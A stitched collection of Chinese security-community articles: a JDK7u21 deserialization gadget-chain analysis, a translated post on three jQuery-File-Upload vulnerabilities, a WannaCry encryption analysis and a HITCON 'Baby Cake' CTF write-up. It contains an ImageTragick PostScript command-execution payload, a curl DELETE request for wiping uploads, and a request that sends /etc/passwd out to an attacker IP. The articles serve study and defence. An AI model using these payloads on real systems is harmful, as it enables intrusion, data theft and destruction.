接着要定义代理类，需继承自InvocationHandler，也就是位于被代理类处理顺序之前的类，在其构造函数中传入被代理类的对象，当调用被代理类的函数时将触发代理类的invoke函数，此处是重点，通过反射机制来实现
定义完被代理类以及代理类之后，还需通过Proxy类将两者进行绑定方可使用，这里要用Proxy.newProxyInstance来创建代理对象，通过其即可完成被代理的类与动态代理的绑定，然后通过该proxy对象就可能对被代理的类的函数进行调用，从而触发动态代理
运行结果如下图所示
在invoke处下个断点也可以清晰的看到此时method为hello，this.subject为SubjectImpl对象，args为world，即通过为被代理类绑定代理将可以在代理中运行新的代码块
了解了动态代理技术之后，就可以顺理成章地引入AnnotationInvocationHandler了，它就是一个动态代理，其继承自InvocationHandler
在其构造函数中有两个成员变量，两个均可控，并且在yso的payload中也通过反射机制为其this.type赋值为Templates类，并在newInstance中为memberValues赋值为只有一个键为f5a5a608，值为foo的map，当然后面将会对该键对应的值进行覆盖，放入恶意templatesImpl的对象，至于为什么要这样赋值后面说
目前我们只要知道这里是让AnnotationInvocationHandler作为Templates接口的代理。回到yso的paylaod，继续往下看，这里在linkedhashset中放了两个对象，其中linkedhashset是继承自hashset类的，放入的元素第一个是恶意的templateImpl，第二个是已经绑定了代理的对象
那么因为这里为了调试我们之前已经直接在hashset的readobject处下过断点
此时第一次反序列化得到的即为放入的恶意templateImpl类的对象，然后将其放到map中
第二次反序列化得到的即为proxy对象，为Templates类，这里的map.put即使新的入口点
跟进map.put看看，我们知道一个Map中不能包含相同的key，每个key只能映射一个value，那么能不能插入新的值，put内部肯定是有一定的判断逻辑的，那么这里面就包含了动态代理的触发点
put函数首先要对要放入的key计算一个hash，此时key为proxy对象，跟进此函数看看
其将会调用key.hashCode函数，那么我们知道当调用proxy对象的函数时将触发动态代理类的invoke函数，因此此时此时从下图①或②中都能够看到已经成功通过proxy对象进入到动态代理类AnnotationInvocationHandler当中
此时判断我们调用的是hashcode函数，将会进一步调用hashCodeImpl函数
在这个函数内部才是真正对map的key进行一个hash的计算
这里实际上将用127乘对AnnotationInvocationHandler的memberValues的键计算的hash以及值计算的hash，那么之前我们分析yso的payload时知道赋值给membervalue的键为键为f5a5a608，值为恶意的templateImpl对象，那么此时这个循环将执行一次并且计算key的hascode为0，那么实际上var1的值即为membervalue的键对应值的hascode，其值为恶意的TemplatesImpl对象
此时计算得到的hash为106298691，那么为什么要这么设置呢，之后就可以明白
计算完的hash还要经过移位操作然后得到最终的hash值为104622798
回到map.put函数的if判断，那么此时e.hash就是计算map第一个键的hash，而map第一个键就是恶意的TemplatesImpl对象，因此计算其hash肯定为104622798
所以之所以yso的payload要这么设置正是因为如此，也就是map的键为什么要设置为f5a5a608的原因,继续往下看
这里用Entry来对要放入的map的中的键进行遍历，其Map.Entry是Map声明的一个内部接口，此接口为泛型，定义为`Entry<K,V>`,它表示Map中的一个实体(一个key-value对),接着看这个判断：
其中有&&连接两部分
① e.hash == hash
② ((k = e.key) == key || key.equals(k))
那么此时先理清key和k都是什么，这里的key和k如下图所示，这里的key就是Templates类型的proxy对象，k就是之前第一次放入map中的恶意的Templates对象，此时作为equals函数的入口参数，实际上调用的被代理对象的equals方法，那么这里正和我们的思路，那么想要触发动态代理，我们知道e.key是TemplatesImpl的对象，key是Templates类型的proxy对象，那么判断肯定不成立，那么就能够执行或逻辑右边的表达式，那么此时条件①的已经满足，因此直接调用key.equals(k)
那么实际上这里就跳又到annotation这里了，就是我们之前设置的动态代理类，直接到invoke函数处，判断调用的是equals函数
这里将会又再次跳到equalsImpl函数，其中入口参数var3[0]为传入的TemplateImpl恶意类，继续跟进
此时1处templateImpl肯定不等于annotation并且2处这里this.type在yso的payload中设置为下图所示，通过反射令其type为Templates类
所以这里就是判断templateImpl是不是Templates类的对象，因为Templates是TemplatesImpl的父类，那么这肯定为true
**
注:
class.inInstance(obj)
这个对象能不能被转化为这个类
1.一个对象是本身类的一个对象
2.一个对象能被转化为本身类所继承类（父类的父类等）和实现的接口（接口的父接口）强转
3.所有对象都能被Object的强转
4.凡是null有关的都是false ，即class.inInstance(null)**
此时将会调用getMemberMethods()函数，这个函数内部实际上就是返回annotation这个类的type变量对象的类的所有方法，那么这里实际上返回的就是Templates这个类的两个方法了
①.Transformer newTransformer()
②.Properties getOutputProperties()
接下来就到了最终的漏洞触发点，我感觉叫链接点比较好，在这里通过反射机制来调用newTransformer(),其中var1就是我们之前构造的恶意的TemplatesImpl类
这里我们来回顾一下getOutputProperties处，其中下面的newTransformer和上面反射的newTransformer完美的符合在一起
此时由函数调用栈也可以看到此时回到了TemplateImpl这个类中，至此利用链分析结束
# 3.从jdk7u25和jdk7u21的对比中分析修复
jdk7u25是jdk7u21的后一个版本，运行后结果如下图所示
那么上面分析的利用AnnotationInvocationHandler作为动态代理打到newTransformer在jdk7u25中已经被修复，运行时将会报错如上图所示，其中是在反序列化的过程中有一步是通过反射机制调用了AnnotationInvocationHandler的readObject函数
我们知道在yso的payload中通过反射机制来给AnnotationInvocationHandler的type赋值为Templates类
那么再次执行下图代码：
当执行hashset中第二个proxy对象的readObject时，实际上将会在其中调用AnnotationInvocationHandler的readObject函数来恢复动态代理，最终到readObject函数处
此时的type为javax.xml.transform.Templates，进一步调用AnnotationType.getInstance
跟进看看getInstance函数
此时进一步调用Templates.getAnnotationType()函数
此时返回为null，继续返回getInstance中
此时var1为null，那么将Templates实例传入Annotationtype的构造函数
此时在AnnotationType的构造函数将调用isAnnotation对var1进行判断
那么明显Templates类跟annotation没关系，可以看到annotation和其他两种数据类型就是java类类型里面定义的，属于class类，即引用数据类型。比如最常见的枚举，枚举类型是Java
5中新增特性的一部分，它是一种特殊的数据类型，之所以特殊是因为它既是一种类(class)类型却又比类类型多了些特殊的约束，但是这些约束的存在也造就了枚举类型的简洁性、安全性以及便捷性。这里实际getModifiers()就是取Templates的修饰符，而Templates是接口类型的，所以两者无关，所以二进制位不可能有所重合，即肯定&&后为0。
所以此处必定进入if抛出错误
所以回到AnnotationInvocationHandler的readObject中将捕获到该错误从而抛出`Non-annotation type in
annotation serial stream`
再回到jdk7u21里面，我们可以看到这里虽然在annotationtype中也捕获到了type不满足条件，并抛出了错误
但是catch以后直接retuen了，并没有再次抛出错误，让上层捕获，因此流程将继续走下去
所以反序列化将会继续执行，并且能够恢复我们的动态代理Templates，感觉是个逻辑错误，开发人员可能一不注意就会犯错，要发现这些点对于安全研究人员来说开发技能也是必备的。
# 总结
前前后后分析下来也花了几个晚上，真是学到了不少。整个漏洞利用中包含了很多java中的技术点，最大的感受就是Java的反射特性真的是太重要了，可以说是无处不在2333。挖掘漏洞需要大量调试和分析，补漏洞在这里抛出一个错误就可以让漏洞消失，当然调试的过程中也更加熟悉了java这门语言。 | 社区文章 |
翻译自：<https://blog.detectify.com/2018/12/13/jquery-file-upload-a-tale-of-three-vulnerabilities/>
翻译：聂心明
在github上星个数第二多的JavaScript项目中有两个远程命令执行漏洞，并且星数第三多的那个项目可能会通过jQuery-File-Upload任意删掉被上传的文件。后者是有意的行为，我们的安全研究员警告过他们，用户的隐私内容会被外部人员随意查看，这是对用户隐私及其不尊重的。Detectify
Crowdsource已经在 [jQuery-File-Upload](https://blueimp.github.io/jQuery-File-Upload/)找到三个安全漏洞了，并且这些漏洞已经被安全研究员提交了我们的社区中，并且我们已经在我们的漏扫工具[Detectify](https://detectify.com/?utm_source=blog&utm_campaign=jquery_file_upload)中实现了检测。我们的研究员发现，jQuery-File-Upload广泛存在于各种平台中，并且很多都没有被正确配置。下面是CVE-2018-9206的poc：未授权任意文件上传漏洞和基于ImageTragick的远程命令执行漏洞。下面是这三个漏洞的说明
<https://youtu.be/JXxUWj5ybUk>
# CVE-2018-9206 未授权任意文件上传漏洞
第一个漏洞在2015年的时候就已经被发现了。但是，在2018年的时候才被分配cve编号，并且通过《[Thousands of Applications
were vulnerable to RCE via jQuery File
Upload](https://threatpost.com/thousands-of-applications-vulnerable-to-rce-via-jquery-file-upload/138501/)》才被大家所熟知。jQuery-File-Upload是一个开源的文件上传组件，在github上是星数第二多的JavaScript项目，星数第一多的项目是jQuery
JavaScript。CVE-2018-9206的核心问题在于服务器配置和php的组件技术，不是JavaScript的问题。当然，这个问题最后成为JavaScript的漏洞让人觉得有点不可思议，但如果这个是php的文件就不会让人感到惊讶。这个漏洞依赖于Apache服务器中.htaccess的配置。这个配置文件会限制文件的上传或者文件的执行。
# The following directives prevent the execution of script files
# in the context of the website.
# They also force the content-type application/octet-stream and
# force browsers to display a download dialog for non-image files.
SetHandler default-handler
ForceType application/octet-stream
Header set Content-Disposition attachment
# The following unsets the forced type and Content-Disposition headers
# for known image files:
<FilesMatch "(?i)\.(gif|jpe?g|png)$">
ForceType none
Header unset Content-Disposition
</FilesMatch>
<...>
上面是jQuery-File-Upload的.htaccess文件，并且存在于9.22.0版本之前，为了防范文件上传漏洞。.htaccess可以设置MIME的类型为application/octet-stream，从而让浏览器下载服务器上的文件而不是去执行它们。这就意味着Query-File-Upload
允许任意文件上传，但是不能在服务器上执行它们，因为它们信任web服务器对此做了检查。修补之后，后面的版本检查了文件的上传类型。可是问题是，在Apache的2.3.9版本中，Apache默认不再支持.htaccess了。如果没有被明确的开启的话，这个保护措施是无效的。如果使用了另一种web容器的话（比如Nginx），那么基于.htaccess文件的保护则完全无效。攻击者可以上传任意文件到服务器中，然后控制这台服务器。如果攻击者上传一个后缀为php的文件，那么就可以执行它了。
# 基于ImageTragick的远程命令执行
jQuery-File-Upload的第二个漏洞在黑客社区中被广为所知，这个漏洞一直没有被公开，因为CVE-2018-9206的出现，这个漏洞才被大家所关注，之后越来越多的人开始研究jQuery-File-Upload的代码库。因为代码使用了ImageMagic，攻击者可以使用GhostScript来执行任意代码（CVE-2016-3714 AKA
ImageTragick）。这里有个演示视频。攻击者会把下面的GhostScript保存成后缀为PNG, GIF
或者JPG的文件，然后再把他们上传到服务器中。
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%ping example.com) currentdevice putdeviceprops
服务器会执行ping
example.com这个指令，注意，在不同的操作系统中GhostScript可能看着会有一些不同，但是ping指令可以运行在大多数的环境中，这样就可以利用自动化的手段来发现存在的漏洞。注意，这个漏洞是jQuery-File-Upload库使用的问题，不是代码本身的问题。
# 一个有意为之的漏洞
第三个也是最后一个漏洞是不安全的对象引用，或者称之为 [IDOR
vulnerability](https://blog.detectify.com/2016/05/25/owasp-top-10-insecure-direct-object-reference-4/)，一个站长报告过这个问题，但是issue中明确写着这是一种“有意的功能”，但是很多jQuery-File-Upload
用户不知道这一特性，也不知道这一特性的风险。这就是为什么：向文件上传接口发送get请求，服务器就会返回一组json数据，里面包含所有之前上传的文件。这就会暴露文件的名称，上传的路径，缩略图路径还有就是可能会造成文件的删除。返回报文就像下面这样：
{"files":[{"name":image.jpg","size":68549,"url":"http:\/\/example.com\/image.jpg","thumbnailUrl":"http:\/\/example.com\/thumbnail\/image.jpg","deleteUrl":"http:\/\/example.com\/server/php?file=image.jpg","deleteType":"DELETE"}
通过返回报文，用户就可以通过url字段的内容看到之前上传过的文件。也可以通过发送DELETE请求来删除所有的文件，发送的请求就像下面这样：
curl -X DELETE http://example.com/server/php?file=image.jpg
当我们看到网站使用jQuery-File-Upload时，就可以故意的去访问这个“有意的漏洞”了。如果这个网站是一个约会网站，用户肯定会很自然的上传自己的图片。通过发送这样的请求，我们就可以看到所有用户上传的图片了。另一个例子是如果这个网站通过上传用户的身份证或者护照来验证用户身份的话，我就可以用这样的请求来获得所有的图片。我已经联系过
Sebastian Tschan了（jQuery-File-Upload的主要维护者），并且所有的网站都发现了这样的漏洞。
# 修复
最开始提到的两个漏洞已经在jQuery-file-upload后续的版本修复了。我建议大家赶紧升级到最新的版本。为了修复最后一个漏洞，你应该严格限制文件上传接口的权限（通常在server/php/index.php），所有上传的文件不应该被公开可见。你是否在你的网站上安装了jQuery-File-Upload？并且你不确定你的网站代码是否安全。那么现在你应该来试试Detectify。 | 社区文章 |
## 作者：兰云科技@diffway
## 1概述
Wannacry勒索软件在全球大规模爆发，主要利用了NAS前一个月泄露的黑客工具中Elternal Blue (MS_17_010)
漏洞,变成了可怕的勒索软件蠕虫，在全球多处发现被攻击，并在在以惊人的速度进行传播，下面是最勒索软件加密的详细分析，供大家参考。
## 2静态分析
MD5 | 84c82835a5d21bbcf75a61706d8ab549
---|---
编译时间 | 2010\11\21
编译器信息 | Microsoft Visual C++ ver 5.0/6.0
壳信息 | 无壳
## 3详细分析
在我们分析的样本中，启动后判断有没有参数/I
如果有则将样本拷贝重命名并以服务的方式启动（并没有像其他分析报告中提到的会连接一个特定的网址，连接成功后就不再发作，因此我们一定要注意遇到的是哪个样本，以免给出错误的防护方案）。
我们先看看当加上 /i的参数后会执行什么：
首先设置C:\Intel\aypxkvhkzwrro805为当前目录，并将样本重命名为tasksche.exe 然后复制过去。
接着创建服务并以服务的方式启动起来 。
下面我们看看当没有参数的时候是如何 进行加密的
首先样本会创建一个注册表项，我们可以看到注册表项包含了勒索软件的名称WanaCrypt
接着新建了一个键值，将当前目录写入。
之后开始查找资源，资源名称为80A，会释放很多文件。
msg文件夹里面包含多种语言的付款方法。
其中c.wnry里面存了黑客的比特币地址，是硬编码在里面的
之后执行了两个命令分别是设置当前目录隐藏属性 赋予Everyone用户完整控制权限
导入加密函数，对抗一些静态查杀
先是初始化容器，可以看到加密类型为 0x18，也就是PROV_RSA_AES加密类型。
之后导入RSA公钥（这个公钥经过分析主要是用于解密内置密文，而非用于加密数据）
之后打开了之前释放的t.wnry,并读取其中的内容，对其中内容进行了解密，里面是关键加密代码
把文件dump 出来进行分析，可以看到这个文件是一个DLL文件，导出函数有一个为
TaskStart,而样本最终会跳转过去的执行的就是这个TaskStart
TaskStart函数包含了关键的加密功能，下面我们详细分析这个DLL文件：
首先说一下整体的加密过程，样本首先生成一对2048位的RSA公私钥，这对密钥的公钥用于加密一会生成的AES密钥，私钥主要用于以后的解密。黑客自己有一对RSA的公私钥，私钥在黑客手中，公钥在样本中用于加密上面生成的私钥，这样就保证只有黑客手中的私钥才是唯一的钥匙。而通过随机函数生成128位AES（每个文件一个AES密钥）用于加密文件，AES秘钥被私钥加密过以后，同被加密的文档一同保存。黑客为了显示自己有能力将文件解密，将少量文件使用预置的公钥（对应的私钥也在样本中，）进行加密。
下面是加密过程详细分析：
首先创建了一个加密容器 加密类型仍然为 PROV_RSA_AES
仍然导入了一个RSA公钥，这个公钥是黑客的公钥，用于加密下面生成的私钥
然后程序继续生成了一对2048位RSA公私密钥
之后黑客导出了刚才生成的RSA 2048位公钥
并将公钥放入创建的00000000.pky文件中
导出私钥，并且用黑客自己的公钥将这个私钥进行加密
之后黑客又加密这段数据放到上面加密的私钥的末尾，并最后存在0000000.eky
之后启动一些线程，做后续的准备工作
先生成一个文件00000000.res,,将之前生成的一些随机数存入文件
启动之前生成的taskdl.exe 这个程序主要是删除临时文件夹下的文件
设置自启动
之后运行了一个bat文件主要是设置一个链接
将u.wnry重命名为@[email protected] ，这是解密程序
然后开始进行寻找目标文件进行加密
这个时候导入了两个公钥，一个导入从0000000.pky中公钥，这个公钥主要用于加密生成的128位AES密钥，另外一个用于加密一些可免费解密的文件
之后开始遍历文件进行加密，会被加密的文件类型为：
".doc" ".docx"".xls"".xlsx"".ppt" ".pptx"".pst"".ost"".msg"".eml"".vsd"".vsdx"".txt"".csv"".rtf"".123"
".wks"".wk1"".pdf"".dwg"".onetoc2"".snt"".jpeg"".jpg"".docb"".docm"".dot"".dotm"".dotx"".xlsm"".xlsb"".xlw" ".xlt"".xlm"".xlc"".xltx"".xltm"".pptm"".pot"".pps"".ppsm"".ppsx"".ppam"".potx"
".potm"".edb"".hwp"".602"".sxi"".sti"".sldx"".sldm"".vdi"".vmdk"".vmx"".gpg"".aes"".ARC" ".PAQ"".bz2" ".tbk"".bak"".tar"".tgz"".gz"".7z"".rar"".zip"".backup"".iso"".vcd"".bmp"".png"".gif"
".raw"".cgm"".tif"".tiff"".nef"".psd"".ai" ".svg"".djvu"".m4u"".m3u"".mid"".wma"".flv"".3g2"".mkv"
".3gp" ".mp4"".mov"".avi"".asf"".mpeg"".vob"".mpg"".wmv"".fla"".swf"".wav"".mp3"".sh"
".class" ".jar"".java"".rb"".asp" ".php"".jsp"".brd"".sch"".dch"".dip"".pl"".vb"".vbs"".ps1"".bat"
".cmd"".js"".asm"".h"".pas"".cpp"".c"".cs"".suo"".sln"".ldf"".mdf"".ibd"".myi"".myd"".frm"".odb"
".dbf"".db"".mdb"".accdb"".sql"".sqlitedb"".sqlite3"".asc"".lay6"".lay"".mml"".sxm"".otg"".odg"".uop" ".std"".sxd"".otp"".odp"".wb2"".slk"".dif" ".stc"".sxc"".ots"".ods"".3dm" ".max"".3ds"".uot"
".stw"".sxw"".ott"".odt"".pem"".p12"".csr" ".crt" ".key"".pfx"".der"
在匹配到文件类型以后，会通过CryptGenRandom生成的随机AES128位密钥
使用通过RSA对AES密钥进行加密
通过AES加密算法对文件进行加密，AES加密算法并没有使用动态调用系统API的方式，而是通过静态编译的方式调用。
在加密免费文件的时候会把文件路径放入到f.wnry中（我们只需查看这个文件就可以找出哪些文件可以被免费恢复）
之后黑客会进行网络连接和传播，主要在taskhsvc这个文件里面
最后是成功运行时的提示用户去支付的界面
本次分析就先到此，我们会进一步分析传播部分。
## 4总结
此次勒索软件结合高危漏洞变成蠕虫对我们敲响了警钟，对这次事件大家应该积极应对起来，对个人主机通过打补丁结合主机防火墙进行多方位的防护。 | 社区文章 |
# Baby Cake
* * *
**Points:** 400 | **Solves:** 4/1789 | **Category:** Web
Get the shell plz!!!!! 13.230.134.135
Author: orange
Hint: This is not related to SSRF
* * *
## English
(原文作者还有一个印尼语版本，这里就没翻译)
### TL;DR要点
* 我们可以在给定的Cake PHP Web的HTTP客户端访问任意URL。如果使用的方法是GET，高速缓存将被存储在`body.cache`和`headers.cache`文件，
* 除了GET之外，我们可以使用其他方法，例如POST和`getQuery('data')`的数据。
* 在内部实现中`\Cake\Http\Client\Request`，如果请求数据是一个数组，它将被`Cake\Http\FormData`处理。
* 在`Cake\Http\FormData`里有类似`CURLOPT_SAFE_UPLOAD`的实现处理方式，其中如果`value`以`@`开头，就会从本地系统（Local File Disclosure）上传。
* 我们可以控制`Cake\Http\FormData`里的`file_get_contentsin`的参数，这样我们可以使用`phar://`协议加上通过`body.cache`进行隐式反序列化后得到的payload。
* 我们可以使用好用的小工具进行PHP对象注入来`RCE`; 例如，使用`Monolog`工具。
### Detailed Steps详细步骤
只有4支队队伍解决困难的“baby”赛题。Web站点是用Cake PHP制作的，[源代码](https://github.com/PDKT-Team/ctf/blob/master/hitcon2018/baby-cake/baby_cake.tgz
"源代码")在这。而我们的目标则是getshell。
Web应用程序的主要代码逻辑是`src/Controller/PagesController.php`。
<?php
namespace App\Controller;
use Cake\Core\Configure;
use Cake\Http\Client;
use Cake\Http\Exception\ForbiddenException;
use Cake\Http\Exception\NotFoundException;
use Cake\View\Exception\MissingTemplateException;
class DymmyResponse {
function __construct($headers, $body) {
$this->headers = $headers;
$this->body = $body;
}
}
class PagesController extends AppController {
private function httpclient($method, $url, $headers, $data) {
$options = [
'headers' => $headers,
'timeout' => 10
];
$http = new Client();
return $http->$method($url, $data, $options);
}
private function back() {
return $this->render('pages');
}
private function _cache_dir($key){
$ip = $this->request->getEnv('REMOTE_ADDR');
$index = sprintf('mycache/%s/%s/', $ip, $key);
return CACHE . $index;
}
private function cache_set($key, $response) {
$cache_dir = $this->_cache_dir($key);
if ( !file_exists($cache_dir) ) {
mkdir($cache_dir, 0700, true);
file_put_contents($cache_dir . "body.cache", $response->body);
file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
}
}
private function cache_get($key) {
$cache_dir = $this->_cache_dir($key);
if (file_exists($cache_dir)) {
$body = file_get_contents($cache_dir . "/body.cache");
$headers = file_get_contents($cache_dir . "/headers.cache");
$body = "<!-- from cache -->\n" . $body;
$headers = unserialize($headers);
return new DymmyResponse($headers, $body);
} else {
return null;
}
}
public function display(...$path) {
$request = $this->request;
$data = $request->getQuery('data');
$url = $request->getQuery('url');
if (strlen($url) == 0)
return $this->back();
$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );
if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))
return $this->back();
$method = strtolower( $request->getMethod() );
if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
return $this->back();
$headers = [];
foreach ($request->getHeaders() as $key => $value) {
if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-length'] ))
continue;
if (count($value) == 0)
continue;
$headers[$key] = $value[0];
}
$key = md5($url);
if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
} else {
$response = $this->httpclient($method, $url, $headers, $data);
}
foreach ($response->headers as $key => $value) {
if (strtolower($key) == 'content-type') {
$this->response->type(array('type' => $value));
$this->response->type('type');
continue;
}
$this->response->withHeader($key, $value);
}
$this->response->body($response->body);
return $this->response;
}
}
当使用GET方法在Web上发出请求时带上`?url=`，Web会检查是否已为给定URL存储了缓存。如果没有，将使用内部HTTP客户端请求URL，然后将写入响应正文`body.cache`的内容，并写入序列化头文件（数组）的`headers.cache`。如果存在缓存，则应用程序将直接检索缓存内容。如果使用的方法不是GET，则不使用缓存。
请注意，函数中有一个`unserialize`在`cache_get($key)`里被调用，但该参数来自`header.cache`,并且之前使用`serialize`数组作为输入写入的内容，因此不能从此处进行PHP对象注入（除非PHP内部存在错误）。
The idea is, since we can write arbitrary data to `body.cache`, if a file
operation function with our controlled parameter is executed then we can use
`phar://` wrapper to do PHP Object Injection with `body.cache` as the payload.
It turns out that we can direct the application flow to `file_get_contents`
with our own parameter in the Cake PHP internal!
我们的方案是这样。因为我们可以写任意数据到`body.cache`，如果执行带有受控参数的文件操作函数，那么我们可以使用`phar://`
来把`body.cache`的内容作为payload进行PHP对象注入。事实证明，我们可以`file_get_contents`在Cake
PHP内部使用我们的参数来引导应用程序运行！
为了更好地理解漏洞，我们将把这些步骤分解为从请求到远程执行代码的流程。
#### Passing Request Data传递请求数据
$request = $this->request;
$data = $request->getQuery('data');
$url = $request->getQuery('url');
...
$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );
if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))
return $this->back();
..
$method = strtolower( $request->getMethod() );
if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
return $this->back();
...
if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
} else {
$response = $this->httpclient($method, $url, $headers, $data);
}
我们的请求被Web应用程序过滤，因此除了GET / POST / PUT / DELETE / PATCh 以外的方法，和`http://`
与`https://` 以外的协议，我们都不能使用。
We can use POST/PUT/DELETE/PATCH so that `$response =
$this->httpclient($method, $url, $headers, $data);` is called. We can set the
`$data` variable using GET `?data=`.
我们的POST / PUT / DELETE / PATCH，注意 `$response = $this->httpclient($method,
$url, $headers, $data);`会被调用。我们可以`$data`写入GET请求里like this`?data=`。
private function httpclient($method, $url, $headers, $data) {
$options = [
'headers' => $headers,
'timeout' => 10
];
$http = new Client();
return $http->$method($url, $data, $options);
}
The web uses `Cake\Http\Client` and call the method based on `$method` from us
with `$url` and `$data` from us.
In this example, we will try to use POST method.
网站使用了`Cake\Http\Client`并且它调用的方法基于我们的请求里的`$method`、`$url`和`$data`。
在这个例子中，我们将尝试使用POST方法。
#### Processing POST Request处理POST请求
看看 `vendor/cakephp/cakephp/src/Http/Client.php`.
/**
* Default configuration for the client.
*
* @var array
*/
protected $_defaultConfig = [
'adapter' => 'Cake\Http\Client\Adapter\Stream',
...
public function __construct($config = [])
{
$this->setConfig($config);
$adapter = $this->_config['adapter'];
$this->setConfig('adapter', null);
if (is_string($adapter)) {
$adapter = new $adapter();
}
$this->_adapter = $adapter;
...
/**
* Do a POST request.
*
* @param string $url The url or path you want to request.
* @param mixed $data The post data you want to send.
* @param array $options Additional options for the request.
* @return \Cake\Http\Client\Response
*/
public function post($url, $data = [], array $options = [])
{
$options = $this->_mergeOptions($options);
$url = $this->buildUrl($url, [], $options);
return $this->_doRequest(Request::METHOD_POST, $url, $data, $options);
}
...
/**
* Helper method for doing non-GET requests.
*
* @param string $method HTTP method.
* @param string $url URL to request.
* @param mixed $data The request body.
* @param array $options The options to use. Contains auth, proxy, etc.
* @return \Cake\Http\Client\Response
*/
protected function _doRequest($method, $url, $data, $options)
{
$request = $this->_createRequest(
$method,
$url,
$data,
$options
);
return $this->send($request, $options);
}
...
/**
* Creates a new request object based on the parameters.
*
* @param string $method HTTP method name.
* @param string $url The url including query string.
* @param mixed $data The request body.
* @param array $options The options to use. Contains auth, proxy, etc.
* @return \Cake\Http\Client\Request
*/
protected function _createRequest($method, $url, $data, $options)
{
$headers = isset($options['headers']) ? (array)$options['headers'] : [];
if (isset($options['type'])) {
$headers = array_merge($headers, $this->_typeHeaders($options['type']));
}
if (is_string($data) && !isset($headers['Content-Type']) && !isset($headers['content-type'])) {
$headers['Content-Type'] = 'application/x-www-form-urlencoded';
}
$request = new Request($url, $method, $headers, $data);
...
}
我们的数据将被`post($url, $data = [], array $options =
[])`处理，然后传递给`_doRequest($method, $url, $data,
$options)`然后会调用`_createRequest($method, $ url, $data,
$options)`创建一个`$request`对象。在此函数中，对象创建为`Cake\Http\Client\Request`（`new
Request($url, $method, $headers, $data);`）。
接下来我们来看看`vendor/cakephp/cakephp/src/Http/Client/Request.php`代码。
/**
* Constructor
*
* Provides backwards compatible defaults for some properties.
*
* @param string $url The request URL
* @param string $method The HTTP method to use.
* @param array $headers The HTTP headers to set.
* @param array|string|null $data The request body to use.
*/
public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
{
$this->validateMethod($method);
$this->method = $method;
$this->uri = $this->createUri($url);
$headers += [
'Connection' => 'close',
'User-Agent' => 'CakePHP'
];
$this->addHeaders($headers);
$this->body($data);
}
...
/**
* Get/set the body/payload for the message.
*
* Array data will be serialized with Cake\Http\FormData,
* and the content-type will be set.
*
* @param string|array|null $body The body for the request. Leave null for get
* @return mixed Either $this or the body value.
*/
public function body($body = null)
{
if ($body === null) {
$body = $this->getBody();
return $body ? $body->__toString() : '';
}
if (is_array($body)) {
$formData = new FormData();
$formData->addMany($body);
$this->header('Content-Type', $formData->contentType());
$body = (string)$formData;
}
$stream = new Stream('php://memory', 'rw');
$stream->write($body);
$this->stream = $stream;
return $this;
}
在`body($body)`函数中，如果`$body`是数组，则使用函数`Cake\Http\FormData`处理，并调用`addMany(array
$array)`。让我们看看`vendor/cakephp/cakephp/src/Http/Client/FormData.php`这个函数中发生了什么。
/**
* Add a new part to the data.
*
* The value for a part can be a string, array, int,
* float, filehandle, or object implementing __toString()
*
* If the $value is an array, multiple parts will be added.
* Files will be read from their current position and saved in memory.
*
* @param string|\Cake\Http\Client\FormData $name The name of the part to add,
* or the part data object.
* @param mixed $value The value for the part.
* @return $this
*/
public function add($name, $value = null)
{
if (is_array($value)) {
$this->addRecursive($name, $value);
} elseif (is_resource($value)) {
$this->addFile($name, $value);
} elseif (is_string($value) && strlen($value) && $value[0] === '@') {
trigger_error(
'Using the @ syntax for file uploads is not safe and is deprecated. ' .
'Instead you should use file handles.',
E_USER_DEPRECATED
);
$this->addFile($name, $value);
} elseif ($name instanceof FormDataPart && $value === null) {
$this->_hasComplexPart = true;
$this->_parts[] = $name;
} else {
$this->_parts[] = $this->newPart($name, $value);
}
return $this;
}
/**
* Add multiple parts at once.
*
* Iterates the parameter and adds all the key/values.
*
* @param array $data Array of data to add.
* @return $this
*/
public function addMany(array $data)
{
foreach ($data as $name => $value) {
$this->add($name, $value);
}
return $this;
}
/**
* Add either a file reference (string starting with @)
* or a file handle.
*
* @param string $name The name to use.
* @param mixed $value Either a string filename, or a filehandle.
* @return \Cake\Http\Client\FormDataPart
*/
public function addFile($name, $value)
{
$this->_hasFile = true;
$filename = false;
$contentType = 'application/octet-stream';
if (is_resource($value)) {
$content = stream_get_contents($value);
if (stream_is_local($value)) {
$finfo = new finfo(FILEINFO_MIME);
$metadata = stream_get_meta_data($value);
$contentType = $finfo->file($metadata['uri']);
$filename = basename($metadata['uri']);
}
} else {
$finfo = new finfo(FILEINFO_MIME);
$value = substr($value, 1);
$filename = basename($value);
$content = file_get_contents($value);
$contentType = $finfo->file($value);
}
$part = $this->newPart($name, $content);
$part->type($contentType);
if ($filename) {
$part->filename($filename);
}
$this->add($part);
return $part;
}
`addMany(array $data)`函数的运行将迭代数组，然后遍历调用 `add($name, $value)`每个项目。在`add($name,
$value)`函数中，如果`$value`是`@`的字符串·，那么`addFile($name, $value)`将被调用。
在`addFile($name, $value)`函数里，因为`$value`是一个字符串，运行`$value = substr($value,
1);`并且`$content =
file_get_contents($value);`将被执行。有了这个，那么`$value`被`getQuery('data')`操作给污染了，我们就可以控制`file_get_contents`的参数了！
#### Local File Disclosure本地文件泄露
为了测试这个点，我们可以尝试进行本地文件泄露(Local File
Disclosure)。创建的“Request”数据将`Cake\Http\Client\Adapter\Stream`里的`fopen`直接发送到目标URL
，因此我们可以尝试将一个文件发送到我们的IP。
以下是一个将`/etc/passwd`内容发送到我们的IP的请求。
POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/passwd
在我们的IP，我们将从目标服务器获得/`etc/passwd`内容！
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
